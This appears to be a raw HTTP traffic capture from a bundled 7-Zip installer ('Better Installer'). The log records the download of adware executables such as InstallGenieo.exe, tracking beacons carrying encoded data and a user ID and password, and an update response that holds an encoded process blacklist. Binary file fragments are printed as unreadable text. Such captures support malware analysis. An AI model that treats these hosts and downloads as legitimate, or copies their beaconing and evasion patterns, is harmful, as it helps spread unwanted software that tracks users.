ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-988407/988408

Content-Type: application/octet-stream

Content-Length: 741306

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FvJ2rm0BrUes1vmhEAUYKZ_PtwUGHMtzUn_t492-SE5d_PTTQ6Ya_g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736167&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:02:27 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Tue, 24 Feb 2015 00:04:23 GMT

Server: nginx

Expires: Sun, 22 Feb 2015 05:03:31 GMT

Cache-Control: max-age=600

Age: 423

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RSfjb5eV2UDbLD7OB0sEfYEyG1ful26GbNc0O1Gvbi5GxBTUNUHJmg==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Tue, 24 Feb 2
015 00:04:23 GMT..Server: nginx..Expires: Sun, 22 Feb 2015 05:03:31 GM
T..Cache-Control: max-age=600..Age: 423..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 7922e01ab53e8f36477272573223ab35.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: RSfjb5eV2UDbLD7OB0sEfYEyG1ful26G
bNc0O1Gvbi5GxBTUNUHJmg==..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: XokE5114A21sLMhbjG5EvwmOzofI03WI0e3zAAyQtlzhFZLnn7BrIAN2qmB8Mf9T9l2S3627ItU=

x-amz-request-id: F5F52728B7D2E10A

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-988407/988408

Content-Type: application/octet-stream

Content-Length: 741306

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /app/ping.ashx?e=NdvkYMTo1Kv4YOj/qSs/oJak5gO0FUDqsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzh5TX6K4Kv02isFLJEBgOHLzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO1xRaqY4metE7Lbu9v9TOeaO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJK15ZdpF4Jm7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwxtn8l6bzztEt5NPC8YV 0WEwhL8yu84geU1 iuCr9NorBSyRAYDhy8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDtqnkbjwhVra3cI0lk4eyzP HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 00:02:19 GMT..Content-Length: 0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=123551-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache



oe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..3M.d..}1....}.X;[..f?o.h.
.W...[N..Q.P.JI...fc...E..bkhW.;&.f..........AY.p...t.....3UP.^-'G..7.
e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX.......[Tz1.k..n.QD.....&
gt;F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL......8.;h.w.g...Q.{q..B..f4.
O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O...[)(.lA.zC...b}..P.S.X.
.o....Z..0.....Y.$....mu..C...J..p....I.s~z..Kr...Y..c:....Y..a.....z%
. 7L...8t^..w..d..df...Yt...9.......Ru............)D-.%..D.UK.Yy..Y.. 
hm%\.0...is...................)w...`..x3....>.T..2Ox......{...p!..N
.T.%...u...H!...c<.......r?E^3..~.P...))[email protected].
..%..Yivj..0I7..p...[1......3.4...?.:.;..V)...{....O..k..K.H7..PO.K.~.
X.o,..H.k`.....C.......iJOj....o...;..Qy$|a...( ..&.H.....T.I.c.c..W..
.../..&kAjntd... X...{PT..H`.eV=...........:..Ci..`}=.!..v.....).o.s..
..^\.4c2m6M.m./..e.0)Q...)Da...^h..V.......&....$.].x...FST..(..-..]..
Xk........9.....Q...6>.....H/.O.. .v...iP....k.Aly.y9.XS.>......
#....*RZ.R...F.I1....!.............)f:Q.>.b.K...V.....p....M..&..'w
B...Q. [email protected]{...5D..-Ca..(..5..j.qWa.|.Q?.L.
Y.a....8..._.7". h.AB.OZ;...){.paYhR.R....R.....!...x....$W..*r......V
..sg..2H.:.S.P..m%...]..<|.....}.G.....EZ)~%.m....<...w.F2...g..
r...p#.a.......WP..^..)..(.......s.?.V.N.A..dA.@./K....-F...94>.:ey
..;O. ...L....m.Z8.......m...IM#.S0...2yX.{U...(..=T....t`(.b....t.<
;...yp..'....8.z..G7.Z...[.k..n6..k...i.)J............S,.-/..j.......|
...ozn.]............*...r....QPu.v..K.)...?.Xu.......E.....|ZjT.L.<<< skipped >>>

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qRgWBdCKjfmse7knhGmLBesew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjc1zL9GkaG63iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Boayvex8cQAt HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -aGdj68QVjo1BZNSm77GXq6rzZIMx0bK8csfXsouL7cie0LVwP4WLQ==

....

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4safR_NE9U51iXaxhiwS5NHb7QT68naI7NN8HE62OMwuTe35KpoRxw==

....

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/GBdpOSxhWVkVmCwhd6chxMOD1JqSN m18xc 6SBXrc4qYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: soeRlR7lgXzvVNyQwHMzDJYBpOrGNR5QVVQIGLe4CF6jlR98s-je_g==

....

GET /p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKPr3Vpd156CrdCUHeR8YCF3eApPxgKLj6N6btWtv6UslJSmFiEuG/089S40a1ZjOWBZguxgnOukjtBEfG0/PwdpXwZhJEhXGlay571IekL8TPxyvzupEEgr3/q5YzclMBLvgWFQj2kcV7xyMWCiAT0j1cRPsgj09ATGWVswM3H0pJXsf5FShvnrBziLH2Qr4k1HhChPAVLtbIzfR1Le 9Ktyf006tOgHfjhzivM6sfBiPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Y9UD8MXnoJ4pw4-G0OxrslnvQePP8kVlIT7oXLE-KT6RFrOIjV9IIw==

....

GET /p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppk0XByrlXk6WYShAYseyySxQC drCF7eFFzHXlUtGqMoYZB4BtbHc1/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MewCB_evcYOHROiEc7M4SuFCwi0CKXirZ_GSZcthsRViC0XN8QIWuA==

....

GET /p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppGxrTqW15vZAooxpS5ufgquJVjHmrT0TC9Izr/j1/43JBw5q/V 8gicVOgnEZemiTsynlrkkotjy Xl0kkFbOi1qVYqWbpOfn/D/n8UcWJqtGLHeikaP3tW1f h09PkKgkU9Qe7Lz8ZZBw5q/V 8gicVOgnEZemiTsynlrkkotjxf8h2zaTlq1WzIo4B599h71W7wXr9alHhFIL4F0X4fseztpW8th3Nh0K0sjaOfEW1B092xzGmdx9jHfHsw8mq7XigkLJX7XBGF7Qe2/p5heBnJKiwdbvejBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxL8TCYjPBiaNHAJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4J8rnD0zDzgS HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BRVD2l8SchBOXRyo4E93n5pmuAZ-tVpkxymc7Yl2eTBSduduPSFgGg==

....

GET /p.ashx?e=jLYfrKkKGYOf05G2dnM6gMMdEYretVH0jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/8SCFqUzxEuK5pBCt6gYiqqnm/0RnoY4Wt00NztRBE6cYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFp6k7 V2K7ZUR9O8Mk8ZR2eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZUmJkkZ/SgsTZneZ9ZholOaYTB8y98OTDK3dt0g0AbwGhrK97HxxAC0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0em9ljfsapXhyX3JXw_xls1Em0tRZGbFTlhv1FdqonyQDARdQDpF_g==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTJ/TkbZ2czqAytjeDMU4p9CMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/xIIWpTPES4rmkEK3qBiKqqeb/RGehjhaz9EnoFhhtFxgKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldgy/AIaTgB 3tjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uz_Xu41yFosaPG-GUwkYmzMah2Uk73_hKBb7geeCzkR_tQAo47mkrg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:08 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 457b75182c63eff39fe8e72b11b6c7
4d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: uz_Xu41yFosaPG-GUwkYmzMah
2Uk73_hKBb7geeCzkR_tQAo47mkrg==......

GET /p.ashx?e=obiBp3WOda9PNjxRBLtb43 uoGbc9PjB/WD6e6SZIIGq9exvwYRubwRSl12vCJvFUaBgE/HaVF3AJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4IZf1LqK7dF9 b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zD5i6K0mlT5TW6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlSYmSRn9KCxNmd5n1mGiU5phMHzL3w5MMrd23SDQBvAaGsr3sfHEALQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

